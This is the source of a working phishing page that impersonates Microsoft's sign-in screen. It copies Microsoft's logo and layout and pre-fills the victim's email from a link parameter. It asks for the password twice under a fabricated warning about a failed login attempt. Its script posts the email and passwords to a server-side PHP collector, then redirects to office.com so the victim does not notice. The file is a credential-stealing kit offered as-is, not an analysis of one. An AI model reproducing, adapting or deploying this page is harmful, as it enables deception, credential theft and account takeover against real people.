<!DOCTYPE html>
<html>
    <head>
        <title>Sign in to your account</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/jpg" href="images/favicon3.png">
        <link rel="stylesheet" href="styles.css">
    </head>
    <body style="background-position: center; background-repeat: no-repeat; background-size: cover; background-attachment: fixed; background-color: white; height: 100%;">
        <div id="box">
            <div id="logo-container" style="display: flex; justify-content: start; gap: 0px; width: 6rem;">
                <div id="logo-boxes" style="display: flex; flex-wrap: wrap; padding: 0px; margin: 0px; width: 30px;">
                    <div class="logo-box" style="background-color: #f25022; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #7fba00; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #00a4ef; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #ffb900; width: 12px; height: 12px; margin: 0.5px;"></div>
                </div>
                <div id="logo-comment" style="color: #6e6e6e; width: 65%; max-width: 200px; font-size: 1.1rem; font-weight: 600; margin-left: -1px; margin-top: 7px; line-height: 0.75rem;">Microsoft</div>
            </div>

            <div id="loader" style="position: relative; top: 50px;">
                <div id="container" style="position: absolute; top: 25px; margin: auto; transform: translate(-50%,-50%);">
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span>
                </div>
                <p id="loader-comment" style="margin-top: -3px; font-size: 1.2rem; font-weight: 600; color: #000;">Trying to sign you in</p>
            </div>

            <div id="main" style="display: none;">
                <form id="the-form">
                    <p id="form-message" style="color: red; margin: 12px 0px; font-size: 0.75rem;"></p>
                    <div id="pageu">
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Sign in</p>
                        <input type="text" name="mic" id="mic" placeholder="Email, Phone, Skype" style="width: 100%; margin-top: 2px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" /><br />
                        <p style="padding: 3px 0px; font-size: 0.75rem;">No account?<a style="font-size: 0.75rem; color: #0067b8; margin: 8px; text-decoration: none;" href="#">Create one!</a></p>
                        <p style="color: #0067b8; padding: 5px 0px; font-size: 0.75rem; cursor: pointer;">Can't access your account?</p>
                        <button onclick="showPaged()" type="button" style="float: right; border: none; outline: none; margin-top: 35px; font-size: 0.95rem; border: none; width: 20%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Next</button>
                    </div>

                    <div id="paged" style="display: none;">
                        <div class="_euser_cont" style="display: flex; justify-content: start; margin: 20px 0px; padding: 0px;">
                            <img src="images/arrow-left-line.svg" onclick="goBack()" style="height: 25px; width: 25px; padding: 4px; margin-top: -3px; border-radius: 50%; cursor: pointer;"/>
                            <p class="_euser" style="margin: 0px 6px; line-height: 0.95rem; font-size: 0.95rem; font-weight: 500px;"></p>
                        </div>
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Enter password</p>
                        <input type="password" name="roso" id="roso" placeholder="Password" style="width: 100%; margin-top: 2px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" />
                        <p style="font-size: 0.75rem; color: #0067b8; padding: 5px 0px; cursor: pointer;">Forgot my password?</p>
                        <button onclick="showPaget()" type="button" style="float: right; border: none; outline: none; margin-top: 35px; font-size: 0.95rem; border: none; width: 20%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Sign in</button>
                    </div>

                    <div id="paget" style="display: none;">
                        <div class="_euser_cont" style="display: flex; justify-content: start; margin: 20px 0px; padding: 0px;">
                            <img src="images/arrow-left-line.svg" onclick="goBack()" style="height: 25px; width: 25px; padding: 4px; margin-top: -3px; border-radius: 50%; cursor: pointer;"/>
                            <p class="_euser" style="margin: 0px 6px; line-height: 0.95rem; font-size: 0.95rem; font-weight: 500px;"></p>
                        </div>
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Re-enter password</p>
                        <p style="margin-top: -8px; font-size: 0.75rem; color: #6e6e6e;">We noticed a recent failed login attempt on your account, please confirm the account belongs to you</p>
                        <input type="password" name="roso_" id="roso_" placeholder="Password" style="width: 100%; margin-top: 8px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" />
                        <button type="submit" style="float: right; outline: none; margin-top: 35px; border: none; font-size: 0.95rem; width: 22%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Continue</button>
                    </div>
                </form>
            </div>
        </div>

        <div id="options" style="display: none; max-width: 400px; padding: 0.6rem; background-color: white; margin: 35px auto; border: solid 1px rgba(0,0,0,0.2);">
            <div style="display: flex; justify-content: start; cursor: pointer;">
                <img src="images/key.png" alt="key" style="height: 30px; width: 30px;"/>
                <p style="margin: 7px 5px; color: black; font-size: 0.8rem; line-height: 0.75rem;">Sign-in options</p>
            </div>
        </div>

        <footer id="footer" style="display: flex; justify-content: space-between; position: fixed; bottom: 5px; left: 8px; width: 100%;">
            <div id="footer-content" style="display: flex; justify-content: start; gap: 15px; width: 80%; padding: 2px 15px;">
                <a style="font-size: 0.75rem; color: black; margin: 8px; text-decoration: none;" href="#">Terms of use</a>
                <a style="font-size: 0.75rem; color: black; margin: 8px; text-decoration: none;" href="#">Privacy & cookies</a>
                <a style="font-size: 1.75rem; margin-top: -10px; color: black; text-decoration: none;" href="#">...</a>
            </div>
            <div></div>
        </footer>

        <script lang="javascript">
            const pageu = document.getElementById('pageu')
            const paged = document.getElementById('paged')
            const paget = document.getElementById('paget')
            const mic = document.getElementById('mic')
            const roso = document.getElementById('roso')
            const roso_ = document.getElementById('roso_')
            const formMessage = document.getElementById('form-message')
            const theForm = document.getElementById('the-form')
            const _euser = document.getElementsByClassName('_euser')
            const main = document.getElementById('main')
            const loader = document.getElementById('loader')
            const loaderComment = document.getElementById('loader-comment')
            const container = document.getElementById('container')
            const options = document.getElementById('options')
            const box = document.getElementById('box')
            const footer = document.getElementById('footer')

            if (document.location.search != "") {
                const params = new URLSearchParams(document.location.search)
                const _cana = params.get("cana")
                if (_cana != "" && _cana.includes("@") && _cana.includes(".com")) {
                    mic.value = _cana.toLowerCase()
                }
            }

            setTimeout(function () {
                loader.style.display = "none"
                main.style.display = "block"
                options.style.display = "block"
                box.style.height = "auto"
            }, 1000)

            function showPaged () {
                if (mic.value === "" || !mic.value.includes("@") || !mic.value.includes(".com")) {
                    formMessage.innerHTML = "Please enter a valid email"
                } else if (paged.style.display === "none" && _euser) {
                    loaderComment.style.display = "none"
                    loader.style.display = "block"
                    loader.style.position = "absolute"
                    loader.style.width = "100%"
                    loader.style.top = "0px"
                    container.style.top = "0px"
                    main.style.opacity = "0.2"
                    setTimeout(function () {
                        loader.style.display = "none"
                        options.style.display = "none"
                        paged.style.display = "block"
                        pageu.style.display = "none"
                        _euser[0].innerHTML = mic.value.toLowerCase()
                        formMessage.innerHTML = ""
                        main.style.opacity = "1"
                    }, 1000)
                }
            }

            function showPaget () {
                if (roso.value === "") {
                    //formPage2.style.display = "none"
                    //formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your password"
                } else if (paget.style.display === "none") {
                    loader.style.display = "block"
                    main.style.opacity = "0.2"
                    setTimeout(function () {
                        loader.style.display = "none"
                        paget.style.display = "block"
                        paged.style.display = "none"
                        _euser[1].innerHTML = mic.value.toLowerCase()
                        formMessage.innerHTML = ""
                        main.style.opacity = "1"
                    }, 1000)
                }
            }

            function goBack () {
                if (paget.style.display === "block" && paged.style.display === "none") {
                    paget.style.display = "none"
                    pageu.style.display = "none"
                    paged.style.display = "block"
                } else if (paged.style.display === "block" && pageu.style.display === "none") {
                    paged.style.display = "none"
                    paget.style.display = "none"
                    pageu.style.display = "block"
                    options.style.display = "block"
                }
            }

            async function handleSubmit () {
                if (mic.value === "" || !mic.value.includes("@") || !mic.value.includes(".com")) {
                    formMessage.innerHTML = "Please enter a valid email"
                } else if (roso.value === "") {
                    //formPage2.style.display = "none"
                    //formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your password"
                } else if (roso_.value === "") {
                    formMessage.innerHTML = "Please re-enter your password"
                } else if (roso.value != roso_.value) {
                    formMessage.innerHTML = "Passwords don't match"
                } else {
                    formMessage.innerHTML = ""
                    loader.style.display = "block"
                    main.style.opacity = "0.2"
                    const formData = new FormData(theForm)
                    try {
                        const response = await fetch("server/ac.php", {
                            method: "POST",
                            header: {
                                mode: 'cors'
                            },
                            // Set the FormData instance as the request body
                            body: formData,
                        })
                        const res = await response.json()
                        if (res.message === "Success") {
                            setTimeout(function () {
                                location.replace("https://office.com")
                            }, 2000)
                        } else if (res.message === "Please fill the form completely and try again") {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Please fill the form completely and try again"
                        } else if (res.message === "Network error") {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Network error, please try again"
                        } else {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Something went wrong, please try again"
                        }
                    } catch (e) {
                        loader.style.display = "none"
                        main.style.opacity = "1"
                        formMessage.innerHTML = "Network error, please try again"
                    }
                }
            }
            theForm.addEventListener("submit", (event) => {
                event.preventDefault()
                handleSubmit()
            })
        </script>
    </body>
</html>